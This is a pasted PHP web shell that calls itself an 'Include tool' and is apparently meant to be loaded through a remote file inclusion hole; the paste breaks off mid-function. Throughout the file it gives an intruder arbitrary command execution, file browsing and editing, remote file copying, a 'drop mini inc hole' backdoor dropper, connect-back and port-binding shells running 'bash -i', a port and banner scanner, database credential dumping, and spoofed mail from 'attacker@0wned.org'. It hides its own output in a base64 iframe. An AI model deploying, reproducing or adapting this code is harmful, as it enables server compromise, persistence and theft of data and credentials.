rendered paste body<?php####################################################################### we decide if we want sysloggingcloselog();####################################################################### define variables####################################################################### error_reporting(E_ALL);error_reporting(0);# get globals even if register_globals is offimport_globals();$safe_mode = ini_get('safe_mode');$register_globals = ini_get('register_globals');$magic_quotes_gpc = ini_get('magic_quotes_gpc');$txt['en']['on']="on";$txt['en']['off']="off";$txt['de']['on']="an";$txt['de']['off']="aus";$lang="en";if($safe_mode == 1) $SM = $txt[$lang]['on'];else { $SM = $txt[$lang]['off']; # set_time_limit(9000);}if($register_globals == 1) $RG = $txt[$lang]['on'];else $RG = $txt[$lang]['off'];if($magic_quotes_gpc == 1) $MQ = $txt[$lang]['on'];else $MQ = $txt[$lang]['off'];# navigatable functions$ArrFuncs = array( "dropinc" => 0, "filecopy" => 0, "fileedit" => 0, "showsource" => 0, "snoop" => 0, "cmdln" => 0, "connectback" => 0, "phpshell" => 0, "servicecheck" => 0, "mysqlaccess" => 0, "mail" => 0, "env" => 0, "phpenv" => 0, "phpinfo" => 0, "dumpvars" => 0, "debugscript" => 0, "syslog" => 0);# init navigationforeach($ArrFuncs as $key => $val) if(!isset($$key)) $$key = $val;# set default values$ArrDefaults = array( "filecopy_source" => "http://...", "filecopy_dest" => getcwd(), "cmdcall" => "", "editfile" => getcwd(), "editcontent" => "", "chdir" => ".", "vsource" => $SCRIPT_FILENAME, "mail_from" => "attacker@0wned.org", "mail_to" => "", "mail_subject" => "", "mail_attach_source" => "http://....", "mail_attach_appear" => "filename...", "mail_content_type" => "image/png", "mail_msg" => "", "tcpports" => "21 22 23 25 80 110", "timeout" => 5, "miniinc_loc" => getcwd() . "/miniinc.php", "incdbhost" => "localhost", "cbhost" => $_SERVER['REMOTE_ADDR'], "cbport" => 20202, "cbtempdir" => "/tmp", "cbcompiler" => "gcc", "phpshellapp" => "export TERM=xterm; bash -i", "phpshellhost" => "0.0.0.0", "phpshellport" => "20202");# init defaultsforeach($ArrDefaults as $key => $val) if(!isset($$key)) $$key = $val;# define executable functions$Mstr = array( 0 => "No execute functions available!", 1 => "passthru()", 2 => "system()", 3 => "backticks", 4 => "proc_open()", 5 => "exec()");# clean request to avoid uri monster$SREQ = "";$reqdat = array();$tmpCount=0;foreach($REQUESTS as $key => $val){ if($tmpCount==0) $reqdat[] = $key."=".$val; else if($val!=0 || $val!="" || $val!="0") $reqdat[] = $key."=".$val; $tmpCount++;}$SREQ = implode("&", $reqdat);$tmpCount=0;if($SREQ=="") { $tmp_req = array(); $tmp_qry = explode("&", $QUERY_STRING); foreach($tmp_qry as $key => $val) { $tmp_val = explode("=", $val); if($tmpCount==0) $tmp_req[] = $tmp_val[0]."=".$tmp_val[1]; else if($tmp_val[1]!=0 || $tmp_val[1]!="" || $tmp_val[1]!="0") $tmp_req[] = $tmp_val[0]."=".$tmp_val[1]; $tmpCount++; } $SREQ = implode("&", $tmp_req);}if(isset($path['docroot'])) $SREQ .= "&path[docroot]=" . $path['docroot'];# set some defaults to avaoid errors$is_file = array();$is_dir = array();$is_w_dir = array();$is_w_file = array();$emeth=0;if($chdir!="/" && strlen($chdir) < 2) $chdir = getcwd() . "/";$chdir = str_replace("//", "/", $chdir);if(substr($chdir, -1) != "/") $chdir .= "/";### Setup wether to use PHP_SELF or SCRIPT_NAMEif($PHP_SELF!=$SCRIPT_NAME) $MyLoc = $PHP_SELF;else $MyLoc = $SCRIPT_NAME;# $MyLoc = "http://" . $_SERVER['HTTP_HOST'] . $MyLoc;$MyLoc = "http://" . $SERVER_NAME . ":" . $SERVER_PORT . $MyLoc;# This is a list of internal inc.inc vars that do not get displayed # inside the dumpvars function (poss for a debug func later?)$DebugArr = array( 'ARHGFDGFGASDFG', 'safe_mode', 'register_globals', 'magic_quotes_gpc', 'txt', 'lang', 'SM', 'RG', 'MQ', 'ArrFuncs', 'val', 'key', 'env', 'phpenv', 'phpinfo', 'debugscript', 'filecopy', 'fileedit', 'showsource', 'snoop', 'mail', 'cmdln', 'syslog', 'servicecheck', 'dropinc', 'mysqlaccess', 'ArrDefaults', 'filecopy_source', 'filecopy_dest', 'cmdcall', 'editfile', 'editcontent', 'chdir', 'vsource', 'mail_from', 'mail_to', 'mail_subject', 'mail_attach_source', 'mail_attach_appear', 'mail_content_type', 'mail_msg', 'tcpports', 'timeout', 'miniinc_loc', 'incdbhost', 'Mstr', 'SREQ', 'reqdat', 'tmpCount', 'is_file', 'is_dir', 'is_w_dir', 'is_w_file', 'emeth', 'MyLoc', 'dumpvarsare', 'DebugArr', 'cbtempdir', 'cbcompiler', 'cbhost', 'cbport', 'phpshelltype', 'phpshellapp', 'phpshellhost', 'phpshellport');# activate syslog entryif($syslog == 1){# openlog("# XSS $SCRIPT_URI #", LOG_PID | LOG_PERROR, LOG_LOCAL0);# drop_syslog_warning("Q: $QUERY_STRING :: R: $REMOTE_ADDR ($HTTP_USER_AGENT)");}################################################################################# start include output ################################################################################$strOutput = "";$strOutput .= "<html><body bgcolor='#ffffff'><table border=3 bgcolor=#aaaaaa width='100%'><tr><td><font color='#000000'><center><h2>Include tool</h2>PHP Version: " . phpversion() . " | safe_mode: $SM |register_globals: $RG | magic_quotes_gpc: $MQ | syslogging: ";if($syslog == 1) $strOutput .= $txt[$lang]['off']; else $strOutput .= $txt[$lang]['on'];$strOutput .= "<br><br></center><font color='#000000'>";foreach($ArrFuncs as $key => $val) $strOutput .= make_switch($key); ################################################################################ test cmd shell environment###############################################################################if($env == 1) { $strOutput .= " <table border=1><tr><td colspan=2><h3>cmd infos</h3></td></tr> <tr><td>test using pwd</td><td>"; $emeth =& test_cmd_shell(); $strOutput .= "</td></tr>"; if($emeth==0) { $strOutput .= "<tr><td colspan=2>$Mstr[$emeth]</td></tr>"; } else { $strOutput .= "<tr><td>exec method</td><td>$Mstr[$emeth]</td><tr> <tr><td>uname -a</td><td>" . Mexec("uname -a", $emeth) . "</td><tr> <tr><td>id</td><td>" . Mexec("id", $emeth) . "</td><tr> </table>"; }}################################################################################ test php environment###############################################################################if($phpenv == 1) { $strOutput .= "<table border=1><tr><td colspan=2><h3>php short infos</h3></td></tr> <tr><td colspan=2>posix infos</td><tr>"; if(function_exists('posix_uname')) { $posix_uname = posix_uname(); while (list($info, $value) = each ($posix_uname)) { $strOutput .= "<tr><td>$info</td><td>$value</td></tr>"; } } else { $strOutput .= "posix_uname not available"; } $strOutput .= "<tr><td>current script user</td><td>" . get_current_user() . "</td><tr>"; if(function_exists('posix_getuid')) $strOutput .= "<tr><td>getuid</td><td>" . posix_getuid() . "</td><tr>"; else $strOutput .= "posix_getuid not available"; if(function_exists('posix_geteuid')) $strOutput .= "<tr><td>geteuid</td><td>" . posix_geteuid() . "</td><tr>"; else $strOutput .= "posix_geteuid not available"; if(function_exists('posix_getgid')) $strOutput .= "<tr><td>getgid</td><td>" . posix_getgid() . "</td><tr>"; else $strOutput .= "posix_getgid not available"; $strOutput .= "</table>";}################################################################################ dump variables###############################################################################if($dumpvars == 1) { $strOutput .= "<table border=1><tr><td><h3>dump variables</h3></td></tr> <tr><td>" . dd("GLOBALS") . "</td></tr> </table>";}################################################################################ dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!###############################################################################if($debugscript == 1) { ?> <table border=1><tr><td><h3>debug script</h3></td></tr> <tr><td> <? ddb("DebugArr"); ?> </td></tr> </table><? }################################################################################ copy file###############################################################################if($filecopy == 1) { $strOutput .= "<table border=1><tr><td colspan=2><h3>copy file</h3></td></tr> <form method='post' target='_parent' action=" . $MyLoc . "?" . $SREQ . "&'> <tr><td>source</td><td><input type=text name='filecopy_source' value='" . $filecopy_source . "'></td></tr> <tr><td>destination</td><td><input type=text name='filecopy_dest' value='" . $filecopy_dest . "'></td></tr> <tr><td></td><td><input type=submit></td></tr> <tr><td colspan=2>" . copy_file($filecopy_source,$filecopy_dest) . "</td></tr> </form> </table>";} ################################################################################ edit file###############################################################################if($fileedit == 1) { $strOutput .= "<table border=1><tr><td colspan=2><h3>edit file</h3></td></tr> <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> <tr><td>file</td><td><input type=text name='editfile' value='" . $editfile . "'></td></tr> <tr><td>edit</td><td><input type='checkbox' name='edit' value='1'></td></tr> <tr><td>content</td><td><textarea name='editcontent' cols='50' rows='10'>"; if($edit==1 | $editfile!=$ArrDefaults['editfile']) $strOutput .= show_file($editfile); $strOutput .= "</textarea></td></tr> <tr><td></td><td><input type=submit></td></tr> <tr><td colspan=2>"; if($edit==1 | $editfile!=$ArrDefaults['editfile']) $strOutput .= edit_file($editcontent,$editfile,$edit); $strOutput .= "</td></tr> </table> </form>";}################################################################################ execute cmd shell NEEDS MODIFINY FOR B64 STATUS!!###############################################################################if($cmdln == 1) { $emeth = test_cmd_shell(); $strOutput .= "<table border=1><tr><td colspan=2><h3>execute cmd execution: " . $cmdcall . "</h3></td></tr> <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> <tr><td>cmd line</td><td><input type=text name='cmdcall' value='" . $cmdcall . "'></td></tr> <tr><td></td><td><input type=submit></td></tr> <tr><td>test method with 'pwd'</td><td>" . $Mstr[$emeth] . "</td></tr> <tr><td colspan=2>"; if($emeth < 3) { $strOutput .= "The output of this command will be somewhere on the page!"; Mexec($cmdcall, $emeth); } else { $strOutput .= Mexec($cmdcall, $emeth); } $strOutput .= "</td></tr> </form> </table>";}################################################################################ sending mime mail###############################################################################if($mail == 1) { $strOutput .= "<table border=1><tr><td colspan=2><h3>sending mime mail with attachment</h3></td></tr> <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> <tr><td>from</td><td><input type=text name='mail_from' value='" . $mail_from . "'></td></tr> <tr><td>to</td><td><input type=text name='mail_to' value='" . $mail_to . "'></td></tr> <tr><td>subject</td><td><input type=text name='mail_subject' value='" . $mail_subject . "'></td></tr> <tr><td>message</td><td><textarea name='mail_msg' cols='50' rows='10'>" . $mail_msg . "</textarea></td></tr> <tr><td>attach file</td><td><input type=text name='mail_attach_source' value='" .$mail_attach_source . "'></td></tr> <tr><td>attach content type</td><td><input type=text name='mail_content_type' value='" . $mail_content_type . "'></td></tr> <tr><td>file to appear</td><td><input type=text name='mail_attach_appear' value='" . $mail_attach_appear . "'></td></tr> <tr><td></td><td><input type=submit></td></tr> <tr><td colspan=2>" . drop_mime_mail($mail_from,$mail_to,$mail_subject,$mail_attach_source,$mail_content_type,$mail_attach_appear,$mail_msg) . "</td></tr> </form> </table>";}################################################################################ drop mini inc handling###############################################################################if($dropinc == 1) { if($loc!="") $miniinc_loc = $loc; $strOutput .= "<table border=1><tr><td colspan=2><h3>drop mini inc hole</h3></td></tr> <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> <tr><td>source</td><td><input type=text name='loc' value='" . $miniinc_loc . "'></td></tr> <tr><td>drop</td><td><input type='checkbox' name='minisave' value='1'></td></tr> <tr><td></td><td><input type=submit></td></tr> <tr><td colspan=2><pre>"; if($minisave==1) $strOutput .= dropminiinc($miniinc_loc); $strOutput .= "</pre></td></tr> </form> </table>";} ################################################################################ connect C back shell handling###############################################################################if($connectback == 1) { $strOutput .= "<table border=1><tr><td colspan=2><h3>connect back shell</h3></td></tr> <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> <tr><td>temp dir.</td><td><input type=text name='cbtempdir' value='" . $cbtempdir . "'></td></tr> <tr><td>compiler</td><td><input type=text name='cbcompiler' value='" . $cbcompiler . "'></td></tr> <tr><td>host</td><td><input type=text name='cbhost' value='" . $cbhost . "'></td></tr> <tr><td>tcp port</td><td><input type=text name='cbport' value='" . $cbport . "'></td></tr> <tr><td>execute</td><td><input type='checkbox' name='run' value='1'></td></tr> <tr><td></td><td><input type=submit></td></tr> <tr><td colspan=2>"; if($run == 1 && $cbtempdir && $cbcompiler && $cbhost && $cbport) $strOutput .= connect_back($cbtempdir, $cbcompiler, $cbhost, $cbport); $strOutput .= "</td></tr></form></table>";}################################################################################ PHP shell handling###############################################################################if($phpshell == 1) { $strOutput .= "<table border=1><tr><td colspan=2><h3>PHP shell</h3></td></tr> <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> <tr><td>type</td><td><select name='phpshelltype'><option value='cb'>Connect Back</option><option value='pb'>Port Binding</option></select></td></tr> <tr><td>shell app</td><td><input type=text name='phpshellapp' value='" . $phpshellapp . "'></td></tr> <tr><td>host</td><td><input type=text name='phpshellhost' value='" . $phpshellhost . "'></td></tr> <tr><td>tcp port</td><td><input type=text name='phpshellport' value='" . $phpshellport . "'></td></tr> <tr><td>execute</td><td><input type='checkbox' name='run' value='1'></td></tr> <tr><td></td><td><input type=submit></td></tr> <tr><td colspan=2>"; if($run == 1 && $phpshellapp && $phpshellhost && $phpshellport) $strOutput .= DB_Shell($phpshelltype, $phpshellapp, $phpshellport, $phpshellhost); $strOutput .= "</td></tr></form></table>";}################################################################################ snooping###############################################################################if($snoop == 1) { $strOutput .= "<table border=1><tr><td colspan=2><h3>file system snooping: " . $chdir . "</h3></td></tr> <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> <tr><td>path</td><td><input type=text name='chdir' value='" . $chdir . "'></td></tr> <tr><td colspan=2>" . snoopy($chdir) . "</td></tr> </form> </table>";}################################################################################ show highlited source###############################################################################if(($showsource == 1) | ($vsource!=$ArrDefaults['vsource'])) { $strOutput .= "<table border=1><tr><td colspan=2><h3>show source: " . $vsource . "</h3></td></tr> <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> <tr><td>path</td><td><input type=text name='vsource' value='" . $vsource . "'></td></tr> <tr><td></td><td><input type=submit></td></tr> <tr><td colspan=2>" . highlight_file($vsource, 1) . "</td></tr> </form> </table>";}################################################################################ service check###############################################################################if($servicecheck == 1) {if($servhost!="") $host = $servhost;else $host = "localhost"; $strOutput .= "<table border=1><tr><td colspan=2><h3>simple service check</h3></td></tr> <form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'> <tr><td>host(s)</td><td><input type=text name='servhost' value='" . $host . "'></td></tr> <tr><td>tcp port(s)</td><td><input type=text name='tcpports' value='" . $tcpports . "'></td></tr> <tr><td>timeout</td><td><input type=text name='timeout' value='" . $timeout . "'></td></tr> <!-- tr><td>udp port(s)</td><td><input type=text name='udpports' value='<?=$sports?>'></td></tr --> <tr><td></td><td><input type=submit></td></tr> <tr><td colspan=2><pre>"; $hosts = explode(" ", $host); $port = explode(" ",$tcpports); $values = count($port); $numhosts = count($hosts); if($values == 1 && $port[0] != "") $strOutput .= "\nChecking 1 port..\n"; else if($values > 1) $strOutput .= "Checking $values ports..\n"; else $strOutput .= "No ports specified!!\n"; if($numhosts > 1) $strOutput .= "On $numhosts hosts..\n"; else if($numhosts == 1) $strOutput .= "On 1 host..\n"; else $strOutput .= "No hosts specified!!\n"; if($numhosts >= 1) { for($hcount=0; $hcount < $numhosts; $hcount++) { $tmphost = $hosts[$hcount]; $strOutput .= "\nTesting $tmphost..\n"; if(($values == 1 && $port[0] != "") | $values > 1) { for ($cont=0; $cont < $values; $cont++) { @$sock[$cont] = fsockopen($tmphost, $port[$cont], $oi, $oi2, $timeout); $service = getservbyport($port[$cont],"tcp"); @$get = fgets($sock[$cont]); if(isset($get)) $strOutput .= "Port: $port[$cont] ($service) - Banner: $get \n"; flush(); } } } } $strOutput .= "</pre></td></tr> </form> </table>";}################################################################################ show phpinfo###############################################################################if($phpinfo == 1){ phpinfo();}####################################################################### db stuff######################################################################if($mysqlaccess == 1) { $strOutput .= "<table border=1> <form method='post' target='_parent' action='$MyLoc?$SREQ&'> <tr><td>db host</td><td><input type='text' name='incdbhost' size='10' value='$incdbhost'/></td></tr> <tr><td>user</td><td><input type='text' name='incdbuser' size='10' value='$incdbuser'/></td></tr> <tr><td>pass</td><td><input type='text' name='incdbpass' size='10' value='$incdbpass'/></td></tr> <tr><td>name</td><td><input type='text' name='incdbname' size='10' value='$incdbname'/></td></tr> <tr><td>table</td><td><input type='text' name='incdbtable' size='10' value='$incdbtable'/></td></td></tr> <tr><td>sql query</td><td><input type='text' name='incdbsql' size='50' value='$incdbsql'/></td></td></tr> <tr><td>dumpfile</td><td><input type='text' name='incdbfile' size='10' value='$incdbfile'/></td></td></tr> <!-- tr><td>Variables?</td><td><input type='checkbox' name='incdbvar'<? if($incdbvar!='') echo ' checked '; /></td></tr --> <tr><td colspan=2><input type='submit' name='submit' value='Query'/></td></tr> </table>";}if($incdbhost!="" && $incdbuser!="") { if($incdbvar!="") $dbh = $incdbhost; else $dbH = $incdbhost; $dbu = $incdbuser; $dbp = $incdbpass; if($incdbsql!="") $dbs = $incdbsql; if($incdbname!="") $dbn = $incdbname; if($incdbtable!="") $dbt = $incdbtable; if($incdbfile!="") $dumpfile = $incdbfile;}if(isset($dbh)) { $strOutput .= "<table border=1><tr><td><b>mysql access</b></td></tr>"; eval("\$Gdbhost = \"\$$dbh\";"); eval("\$Gdbuser = \"\$$dbu\";"); eval("\$Gdbpass = \"\$$dbp\";"); eval("\$Gdbname = \"\$$dbn\";"); $strOutput .= "<tr><td>"; if($dbn=="") { $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass . "</td></tr><tr><td>" . display_dbs($Gdbhost, $Gdbuser, $Gdbpass); } else if(isset($dbs)) { $Gdbsql = $dbs; $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname."<br/>sql=".$Gdbsql . "</td></tr><tr><td>"; if(isset($dumpfile)) { $strOutput .= dump_query($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbsql, $dumpfile); } else { $strOutput .= display_query($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbsql); } } else if(isset($dbt)) { $Gdbtabl = $dbt; $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname." table=".$Gdbtabl; if($dumpfile!="") $strOutput .= " dumpfile=" .$dumpfile; $strOutput .= "</td></tr><tr><td>"; if(isset($dumpfile)) { $strOutput .= dump_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl, $dumpfile); } else { $strOutput .= display_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl); } } else { $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname . "</td></tr><tr><td>" . display_tables($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname); } $strOutput .= "</pre></td></tr></table><br/>";}if(isset($dbH)) { $strOutput .= "<table border=1><tr><td><b>mysql access</b></td></tr><tr><td>"; if($dbn=="") { $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp. "</td></tr><tr><td>". display_dbs($dbH, $dbu, $dbp); } else if(isset($dbs)) { $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn."<br/>sql=".$dbs. "</td></tr><tr><td>"; if(isset($dumpfile)) { $strOutput .= dump_query($dbH, $dbu, $dbp, $dbn, $dbs, $dumpfile); } else { $strOutput .= display_query($dbH, $dbu, $dbp, $dbn, $dbs); } } else if(isset($dbt)) { $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn." table=".$dbt; if($dumpfile!="") $strOutput .= " dumpfile=" .$dumpfile; $strOutput .= "</td></tr><tr><td> "; if(isset($dumpfile)) { $strOutput .= dump_rows($dbH, $dbu, $dbp, $dbn, $dbt, $dumpfile); } else { $strOutput .= display_rows($dbH, $dbu, $dbp, $dbn, $dbt); } } else { $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn . "</td></tr><tr><td>" . display_tables($dbH, $dbu, $dbp, $dbn); } $strOutput .= "</pre></td></tr></table><br/>";}if(isset($Odbh)) { $strOutput .= "<table border=1><tr><td><b>odbc access</b></td></tr>"; eval("\$Gdbhost = \"\$$Odbh\";"); eval("\$Gdbuser = \"\$$dbu\";"); eval("\$Gdbpass = \"\$$dbp\";"); eval("\$Gdbname = \"\$$dbn\";"); $strOutput .= "<tr><td>"; if(isset($dbt)) { $Gdbtabl = $dbt; $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname." table=".$Gdbtabl . "</td></tr><tr><td>" . display_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl); } else { $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass . "</td></tr><tr><td> " . Odisplay_tables($Gdbhost, $Gdbuser, $Gdbpass); } $strOutput .= "</pre></td></tr></table><br/>";}if(isset($OdbH)) { $strOutput .= "<table border=1><tr><td><b>odbc access</b></td></tr><tr><td>"; if(isset($dbt)) { $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn." table=".$dbt . "</td></tr><tr><td> " . Odisplay_rows($OdbH, $dbu, $dbp, $dbn, $dbt); } else { $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp . "</td></tr><tr><td> " . Odisplay_tables($OdbH, $dbu, $dbp); } $strOutput .= "</pre></td></tr></table><br/>";}$strOutput .= "</font></td></tr></table>";$strOutputB64 = chunk_split(base64_encode($strOutput));echo "</div></div></div></div></div></div></div></div></div></div>\n";echo '<iframe width="100%" height="100%" style="border:0; position: absolute; left: 0px; top: 0px;" src="data:text/html;base64,' . $strOutputB64 .'">';######################################################################## functions######################################################################## make globals availfunction import_globals() { global $HTTP_SERVER_VARS; global $REMOTE_ADDR; global $PHP_SELF; global $REQUESTS; global $SCRIPT_FILENAME; global $QUERY_STRING; global $SCRIPT_URI; global $SERVER_NAME; $_igr = ini_get('register_globals'); if ($_igr == '' OR $_igr == 'Off' OR $_igr == 0) import_request_variables('GPC'); if (phpversion() <= '4.1.0') { $REQUESTS = array_merge($HTTP_GET_VARS, $HTTP_POST_VARS); } else { $REQUESTS = $_REQUEST; } if($_SERVER['PHP_SELF']=="") { $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; $SCRIPT_URI = $HTTP_SERVER_VARS['SCRIPT_URI']; $REMOTE_ADDR = $HTTP_SERVER_VARS['REMOTE_ADDR']; $QUERY_STRING = $HTTP_SERVER_VARS['QUERY_STRING']; $PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF']; $SCRIPT_FILENAME = $HTTP_SERVER_VARS['SCRIPT_FILENAME']; } else { $SERVER_NAME = $_SERVER['SERVER_NAME']; $SCRIPT_URI = $_SERVER['SCRIPT_URI']; $REMOTE_ADDR = $_SERVER['REMOTE_ADDR']; $QUERY_STRING = $_SERVER['QUERY_STRING']; $PHP_SELF = $_SERVER['PHP_SELF']; $SCRIPT_FILENAME = $_SERVER['SCRIPT_FILENAME']; }}function dd($v) { global $DebugArr; $rv = "<blockquote>\n"; $q="while(list(\$key,\$val) = each(\$$v)) {". ' if(array_search($key, $DebugArr)) {'. ' } else if((is_array($val)) && ($key!="GLOBALS")) {'. ' echo "<b>$key</b>>><br/>";'. ' @dd($v."[".$key."]");'. ' } else if($key=="GLOBALS") {'. ' } else echo "<b>$key</b>=>$val<br/>";'. '};'; eval($q); echo "</blockquote>\n";}function ddb($v) { echo "<blockquote>\n"; $q="while(list(\$key,\$val) = each(\$$v)) {". ' if((is_array($val)) && ($key!="GLOBALS")) {'. ' echo "<b>$key</b>>><br/>";'. ' @dd($v."[".$key."]");'. ' } else if($key=="GLOBALS") {'. ' } else echo "<b>$key</b>=>$val<br/>";'. '};'; eval($q); echo "</blockquote>\n";}####################################################################### cmd shell functions####################################################################### test what cmd is workingfunction test_cmd_shell(){ if(strlen(Mexec("pwd", 5))>11) $var = 5; elseif(strlen(Mexec("pwd", 4))>11) $var = 4; elseif(strlen(Mexec("pwd", 3))>11) $var = 3; elseif(strlen(Mexec("pwd", 2))>0) $var = 2; elseif(strlen(Mexec("pwd", 1))>0) $var = 1; else $var = 0; return $var;}# function for executing cmdsfunction Mexec($Mcmd, $type) { if($Mcmd != ""){ $dspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r") ); $output = ""; switch($type) { case 5: $output .= "<pre>"; $lastline = exec($Mcmd, $arrOutput); foreach($arrOutput as $val) { $output .= $val . "\n"; } $output .= "</pre>"; break; case 4: $proc = proc_open($Mcmd, $dspec, $pipes); if (is_resource($proc)) { $output .= "<pre>"; fclose($pipes[0]); while(!feof($pipes[1])) { $tmp = fgets($pipes[1], 1024); $output .= $tmp; } $output .= "</pre>"; } break; case 3; $output .= "<pre>"; $output .= `$Mcmd`; $output .= "</pre>"; break; case 2; print "<pre>\n"; $output = system($Mcmd); print "</pre>\n"; break; case 1; print "<pre>\n"; $output = passthru($Mcmd); print "</pre>\n"; break; case 0; default; $output = "There are no execute functions available!"; break; } return $output; } }function drop_mime_mail($from,$to,$subject,$attach_source,$content_type,$attach_appear,$msg) { $msgerror = ""; if($msg == "") $msgerror = "please enter a message"; elseif($subject == "") $msgerror = "please enter a subject"; else { $stlf = md5(uniqid(time())); $attach = ""; $fp = fopen($attach_source, "rb"); if($fp) while(!feof($fp)) { $attach = $attach . fread($fp, 1024); } $header = "From: $from\n"; $header .= "MIME-Version: 1.0\n"; $header .= "Content-Type: multipart/mixed; boundary=$stlf\n\n"; $header .= "This is a multi-part message in MIME format\n"; $header .= "--$stlf\n"; $header .= "Content-Type: text/plain\n"; $header .= "Content-Transfer-Encoding: 8bit\n\n"; $header .= "$msg\n"; $header .= "--$stlf\n"; $header .= "Content-Type: $content_type; name=$attach_appear\n"; $header .= "Content-Transfer-Encoding: base64\n"; $header .= "Content-Disposition: attachment; filename=$attach_appear\n\n"; $header .= chunk_split(base64_encode($attach)); $header .= "\n"; $header .= "--$stlf--"; mail($to,$subject,"",$header); $msgerror = "send done - show header: <br>\n<pre>$header</pre> "; } return $msgerror;}####################################################################### system browsing######################################################################function make_switch($val){ global $txt; global $lang; global $SCRIPT_NAME,$SREQ,$_REQUEST,$MyLoc,$_SERVER; if(isset($_REQUEST[$val]) AND $_REQUEST[$val] == 1) { $test = 0; $col = "green"; $sw = $txt[$lang]['off']; } else { $test = 1; $col = "black"; $sw = $txt[$lang]['on']; } return " <font color=$col>$val</font> <a target=\"_parent\" href=\"".$MyLoc."?".$SREQ."&".$val."=".$test."\">[ ". $sw." ]</a> ";}function drop_syslog_warning($msg) { global $syslog;# if($syslog == 1) syslog(LOG_WARNING,$msg);}####################################################################### file functions######################################################################function copy_file($source,$dest) { $dataout = ""; if($source == "") $dataout .= "enter source<br>\n"; if($dest != "") { ini_set("user_agent","m0ins downloader"); if(!copy($source, $dest)) $dataout . "failed to copy ...<br>\n"; if(file_exists($dest)) $dataout .= highlight_file($dest, 1); } else { $dataout .= "enter destination"; }}function edit_file($cont,$dest,$do) { $dataout = ""; global $magic_quotes_gpc; if(file_exists($dest)) { if($do == 1){ $fh = fopen($dest, "w"); if(!$fh) { $dataout .= "unable to open <b>$dest</b>.\n"; } else {# $cont = str_replace(">", ">", str_replace("<", "<", $cont)); if($magic_quotes_gpc == 1) $cont = stripslashes($cont); $write = fwrite($fh, $cont); fclose($fh); } } $dataout .= highlight_file($dest, 1); } else { $dataout .= "unable to open <b>$dest</b>.\n"; } return $dataout;}function show_file($source) { $dataout = ""; if(file_exists($source)) { $fh = fopen($source, "r"); if(!$fh) { $dataout .= "unable to open <b>$source</b>.\n"; } else { $read = fread($fh, filesize($source)); fclose($fh); if(!empty($read)) $read = str_replace(">", ">", str_replace("<", "<", $read)); $dataout .= $read; } } else { $dataout .= "unable to open <b>$source</b>.\n"; } return $dataout;}function snoopy($chdir){ $tmpOut = ""; global $is_file,$is_dir,$is_w_dir,$is_w_file; $fh = opendir("$chdir"); if($fh!="") { while (false !== ($filename = readdir($fh)) ) { $FN = $chdir."/".$filename; if(@is_file($FN)) $is_file[] = $filename; if(@is_dir($FN)) $is_dir[] = $filename; if(@is_writable($FN) && @is_dir($filename)) $is_w_dir[] = $filename; if(@is_writable($FN) && @is_file($filename)) $is_w_file[] = $filename; } $tmpOut .= "<table border=1 cellspacing=1 cellpadding=0><tr>"; $tmpOut .= echo_files($is_file, "all files"); $tmpOut .= echo_files($is_dir, "only dirs"); $tmpOut .= echo_files($is_w_dir, "writable dirs"); $tmpOut .= echo_files($is_w_file,"writable files"); $tmpOut .= "</tr></table>"; } else { $tmpOut .= "Permission denied."; } closedir($fh); return $tmpOut;}function echo_files($arr,$txt){ $tmpOutMF = ""; global $chdir,$MyLoc,$SREQ; $tmpOutMF .= "<td valign=top>"; $tmpOutMF .= "<b><font size=2 face=arial>$txt</b> <br><br>"; if(count($arr) > 0) { foreach($arr as $key => $file) { $FN = $chdir."/".$file; $owner = fileowner($FN); $perms = substr(sprintf("%o",fileperms($FN)),-3); if(@is_writable($FN) && @is_dir($FN)) $tmpOutMF .= "<font color=red>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&chdir=$FN'>$file</a></font><br>"; elseif(@is_writable($FN) && @is_file($FN)) $tmpOutMF .= "<font color=red>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&snoop=0&vsource=$FN'>$file</a> </font><br>"; elseif(@is_file($FN)) $tmpOutMF .= "<font color=green>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&snoop=0&vsource=$FN'>$file</a></font><br>"; elseif(@is_dir($FN)) $tmpOutMF .= "<font color=blue>$owner - $perms - <a target='_parent' href='$MyLoc?$SREQ&chdir=$FN'>$file</a></font><br>"; } } $tmpOutMF .= "</td>"; return $tmpOutMF;}function print_globals($v) { global $a; echo "<blockquote>\n"; $q= "while(list(\$key,\$val) = each($".$v. ") ) { ". " echo \"<b>\$key</b>=>\$val.<br>\"; ". " if(( is_array(\$val)) && (\$key != 